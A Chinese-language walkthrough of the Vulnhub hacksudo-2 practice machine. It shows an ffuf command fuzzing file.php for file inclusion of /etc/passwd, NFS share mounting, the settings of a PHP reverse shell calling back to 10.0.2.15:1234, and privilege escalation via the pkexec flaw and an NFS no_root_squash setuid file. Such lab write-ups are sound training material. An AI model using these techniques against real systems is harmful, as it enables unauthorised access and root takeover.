Vulnhub hacksudo-2 Walkthrough
前言
上一个靶场我竟然没有按照作者的意图就直接解出来了,着实是令人开心的一件事情。hacksudo-2
是这个系列的第二个靶场了,希望今天上午能够干完,我现在的节奏一般是先自己尝试一下,发现了思路,或者已经能够拿到 wenshell
了,就马上会把笔记写一下。所以当我写到这里的时候,就说明我已经成功了。
信息收集
IP 信息 | 端口信息 |
---|---|
![]() |
![]() |
HTTP 扫描
使用 gobuster
扫描一下。
发现个 file.php
文件,访问一下,不过文件名都提示的如此的明显了,这很明显是一个文件包含利用的一个文件对吧。使用 FUZZ
测试一下。
ffuf -c -w /usr/share/wfuzz/wordlist/general/common.txt -u 'http://10.0.2.10/file.php?FUZZ=/etc/passwd' -fs 238
文件包含
结果很明显了,直接包含一下看看有什么用户没有。
挂载远程盘
在上面扫描端口信息的时候是发现了 NFS
服务的,试一下能不能挂载,或者测试一下是否需要密码访问。
反弹 shell
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.2.15'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
提权
我已经无力吐槽了,这个靶场简直了。我就没见过这么简单的,而且连续两个都是一种提权的漏洞,但是我感觉这个事情绝对不是这么简单,坐着的意图肯定不是这么简单的通过这个 pkexec
漏洞提权,我觉得是作者当时制作这个靶机的时候这个漏洞还没爆出来,所以才这样的。
$ uname -a
Linux hacksudo 5.8.0-41-generic #46-Ubuntu SMP Mon Jan 18 16:48:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ dpkg -l policykit-1
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-==============-============-============-=============================================================
ii policykit-1 0.105-29 amd64 framework for managing administrative policies and privileges
另一种方法
一定是还有两一种方法的,不能总是用上面的提权方式,起不到练习的目的了。这里可以这么想,就是说这个我已经挂在了一块盘对吧,可以查看一下这个 cat /etc/exports
,
$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/mnt/nfs *(rw,no_root_squash)
$
看到这里懂得人我相信你就明白了,我可以在 NFS
文件夹里面弄一个拥有 s
权限的文件,然后让 www-data
用户使用,以此达到提权的目的。